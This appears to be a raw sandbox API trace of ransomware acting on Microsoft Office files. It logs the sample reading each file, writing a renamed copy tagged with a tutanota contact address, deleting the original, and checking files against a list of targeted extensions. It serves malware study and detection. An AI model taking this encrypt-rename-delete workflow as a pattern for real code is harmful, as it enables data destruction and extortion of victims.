	[0264.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0264.432] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=5042788) returned 1
	[0264.432] CloseHandle (hObject=0x34c) returned 1
	[0264.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs")) returned 0x20
	[0264.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0264.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64
	[0264.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64
	[0264.433] lstrlenW (lpString=".doc") returned 4
	[0264.433] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0264.433] lstrlenW (lpString=".docx") returned 5
	[0264.433] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1
	[0264.433] lstrlenW (lpString=".pdf") returned 4
	[0264.433] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0264.433] lstrlenW (lpString=".xls") returned 4
	[0264.433] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0264.433] lstrlenW (lpString=".xlsx") returned 5
	[0264.433] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1
	[0264.433] lstrlenW (lpString=".ppt") returned 4
	[0264.433] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0264.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64
	[0264.433] lstrlenW (lpString=".zip") returned 4
	[0264.433] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0264.433] lstrlenW (lpString=".rar") returned 4
	[0264.433] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0264.433] lstrlenW (lpString=".bz2") returned 4
	[0264.433] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0264.433] lstrlenW (lpString=".7z") returned 3
	[0264.433] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0264.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64
	[0264.433] lstrlenW (lpString=".dbf") returned 4
	[0264.433] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0264.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64
	[0264.433] lstrlenW (lpString=".1cd") returned 4
	[0264.433] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0264.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64
	[0264.433] lstrlenW (lpString=".jpg") returned 4
	[0264.434] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0264.434] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.434] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.435] GetLastError () returned 0x0
	[0264.435] ReadFile (in: hFile=0x34c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x290, lpOverlapped=0x0) returned 1
	[0264.437] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x2a0, lpOverlapped=0x0) returned 1
	[0264.439] ReadFile (in: hFile=0x34c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.439] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0264.439] SetEndOfFile (hFile=0x218) returned 1
	[0264.439] CloseHandle (hObject=0x218) returned 1
	[0264.439] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.439] SetEndOfFile (hFile=0x34c) returned 1
	[0264.441] CloseHandle (hObject=0x34c) returned 1
	[0264.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc")) returned 1
	[0264.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68
	[0264.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68
	[0264.442] lstrlenW (lpString=".doc") returned 4
	[0264.442] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0264.442] lstrlenW (lpString=".docx") returned 5
	[0264.442] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0264.442] lstrlenW (lpString=".pdf") returned 4
	[0264.442] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0264.442] lstrlenW (lpString=".xls") returned 4
	[0264.442] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0264.442] lstrlenW (lpString=".xlsx") returned 5
	[0264.442] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0264.442] lstrlenW (lpString=".ppt") returned 4
	[0264.442] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0264.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68
	[0264.442] lstrlenW (lpString=".zip") returned 4
	[0264.442] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0264.442] lstrlenW (lpString=".rar") returned 4
	[0264.442] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0264.442] lstrlenW (lpString=".bz2") returned 4
	[0264.442] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0264.442] lstrlenW (lpString=".7z") returned 3
	[0264.442] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0264.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68
	[0264.442] lstrlenW (lpString=".dbf") returned 4
	[0264.442] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0264.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68
	[0264.442] lstrlenW (lpString=".1cd") returned 4
	[0264.442] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0264.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68
	[0264.443] lstrlenW (lpString=".jpg") returned 4
	[0264.443] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0264.443] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=212) returned 1
	[0264.443] CloseHandle (hObject=0x34c) returned 1
	[0264.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt")) returned 0x20
	[0264.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0264.443] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.443] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.444] GetLastError () returned 0x0
	[0264.445] ReadFile (in: hFile=0x34c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xd4, lpOverlapped=0x0) returned 1
	[0264.445] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0264.446] ReadFile (in: hFile=0x34c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.446] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0264.446] SetEndOfFile (hFile=0x218) returned 1
	[0264.446] CloseHandle (hObject=0x218) returned 1
	[0264.446] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.446] SetEndOfFile (hFile=0x34c) returned 1
	[0264.451] CloseHandle (hObject=0x34c) returned 1
	[0264.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt")) returned 1
	[0264.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68
	[0264.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68
	[0264.451] lstrlenW (lpString=".doc") returned 4
	[0264.451] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0264.451] lstrlenW (lpString=".docx") returned 5
	[0264.451] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0264.451] lstrlenW (lpString=".pdf") returned 4
	[0264.451] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0264.451] lstrlenW (lpString=".xls") returned 4
	[0264.451] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0264.452] lstrlenW (lpString=".xlsx") returned 5
	[0264.452] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0264.452] lstrlenW (lpString=".ppt") returned 4
	[0264.452] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0264.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68
	[0264.452] lstrlenW (lpString=".zip") returned 4
	[0264.452] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0264.452] lstrlenW (lpString=".rar") returned 4
	[0264.452] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0264.452] lstrlenW (lpString=".bz2") returned 4
	[0264.452] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0264.452] lstrlenW (lpString=".7z") returned 3
	[0264.452] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0264.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68
	[0264.452] lstrlenW (lpString=".dbf") returned 4
	[0264.452] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0264.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68
	[0264.452] lstrlenW (lpString=".1cd") returned 4
	[0264.452] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0264.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68
	[0264.452] lstrlenW (lpString=".jpg") returned 4
	[0264.452] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0264.563] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=114) returned 1
	[0264.563] CloseHandle (hObject=0x354) returned 1
	[0264.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk")) returned 0x20
	[0264.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0264.564] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.564] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0264.565] GetLastError () returned 0x0
	[0264.565] ReadFile (in: hFile=0x354, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x72, lpOverlapped=0x0) returned 1
	[0264.567] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0264.568] ReadFile (in: hFile=0x354, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.568] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x100, lpOverlapped=0x0) returned 1
	[0264.568] SetEndOfFile (hFile=0x358) returned 1
	[0264.568] CloseHandle (hObject=0x358) returned 1
	[0264.568] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.568] SetEndOfFile (hFile=0x354) returned 1
	[0264.572] CloseHandle (hObject=0x354) returned 1
	[0264.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk")) returned 1
	[0264.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70
	[0264.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70
	[0264.572] lstrlenW (lpString=".doc") returned 4
	[0264.572] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0264.572] lstrlenW (lpString=".docx") returned 5
	[0264.572] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0264.572] lstrlenW (lpString=".pdf") returned 4
	[0264.572] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0264.572] lstrlenW (lpString=".xls") returned 4
	[0264.572] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0264.572] lstrlenW (lpString=".xlsx") returned 5
	[0264.572] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0264.572] lstrlenW (lpString=".ppt") returned 4
	[0264.572] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0264.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70
	[0264.573] lstrlenW (lpString=".zip") returned 4
	[0264.573] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0264.573] lstrlenW (lpString=".rar") returned 4
	[0264.573] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0264.573] lstrlenW (lpString=".bz2") returned 4
	[0264.573] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0264.573] lstrlenW (lpString=".7z") returned 3
	[0264.573] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0264.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70
	[0264.573] lstrlenW (lpString=".dbf") returned 4
	[0264.573] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0264.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70
	[0264.573] lstrlenW (lpString=".1cd") returned 4
	[0264.573] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0264.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70
	[0264.573] lstrlenW (lpString=".jpg") returned 4
	[0264.573] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0264.573] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=28160) returned 1
	[0264.573] CloseHandle (hObject=0x354) returned 1
	[0264.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm")) returned 0x20
	[0264.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0264.574] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.574] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0264.574] GetLastError () returned 0x0
	[0264.574] ReadFile (in: hFile=0x354, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x6e00, lpOverlapped=0x0) returned 1
	[0264.592] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x6e10, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x6e10, lpOverlapped=0x0) returned 1
	[0264.593] ReadFile (in: hFile=0x354, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.594] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.594] SetEndOfFile (hFile=0x358) returned 1
	[0264.594] CloseHandle (hObject=0x358) returned 1
	[0264.594] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.594] SetEndOfFile (hFile=0x354) returned 1
	[0264.598] CloseHandle (hObject=0x354) returned 1
	[0264.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm")) returned 1
	[0264.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60
	[0264.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60
	[0264.601] lstrlenW (lpString=".doc") returned 4
	[0264.601] lstrcmpiW (lpString1=".doc", lpString2=".SCM") returned -1
	[0264.601] lstrlenW (lpString=".docx") returned 5
	[0264.601] lstrcmpiW (lpString1=".docx", lpString2="R.SCM") returned -1
	[0264.601] lstrlenW (lpString=".pdf") returned 4
	[0264.601] lstrcmpiW (lpString1=".pdf", lpString2=".SCM") returned -1
	[0264.601] lstrlenW (lpString=".xls") returned 4
	[0264.601] lstrcmpiW (lpString1=".xls", lpString2=".SCM") returned 1
	[0264.601] lstrlenW (lpString=".xlsx") returned 5
	[0264.601] lstrcmpiW (lpString1=".xlsx", lpString2="R.SCM") returned -1
	[0264.601] lstrlenW (lpString=".ppt") returned 4
	[0264.601] lstrcmpiW (lpString1=".ppt", lpString2=".SCM") returned -1
	[0264.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60
	[0264.602] lstrlenW (lpString=".zip") returned 4
	[0264.602] lstrcmpiW (lpString1=".zip", lpString2=".SCM") returned 1
	[0264.602] lstrlenW (lpString=".rar") returned 4
	[0264.602] lstrcmpiW (lpString1=".rar", lpString2=".SCM") returned -1
	[0264.602] lstrlenW (lpString=".bz2") returned 4
	[0264.602] lstrcmpiW (lpString1=".bz2", lpString2=".SCM") returned -1
	[0264.602] lstrlenW (lpString=".7z") returned 3
	[0264.602] lstrcmpiW (lpString1=".7z", lpString2="SCM") returned -1
	[0264.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60
	[0264.602] lstrlenW (lpString=".dbf") returned 4
	[0264.602] lstrcmpiW (lpString1=".dbf", lpString2=".SCM") returned -1
	[0264.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60
	[0264.602] lstrlenW (lpString=".1cd") returned 4
	[0264.602] lstrcmpiW (lpString1=".1cd", lpString2=".SCM") returned -1
	[0264.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60
	[0264.602] lstrlenW (lpString=".jpg") returned 4
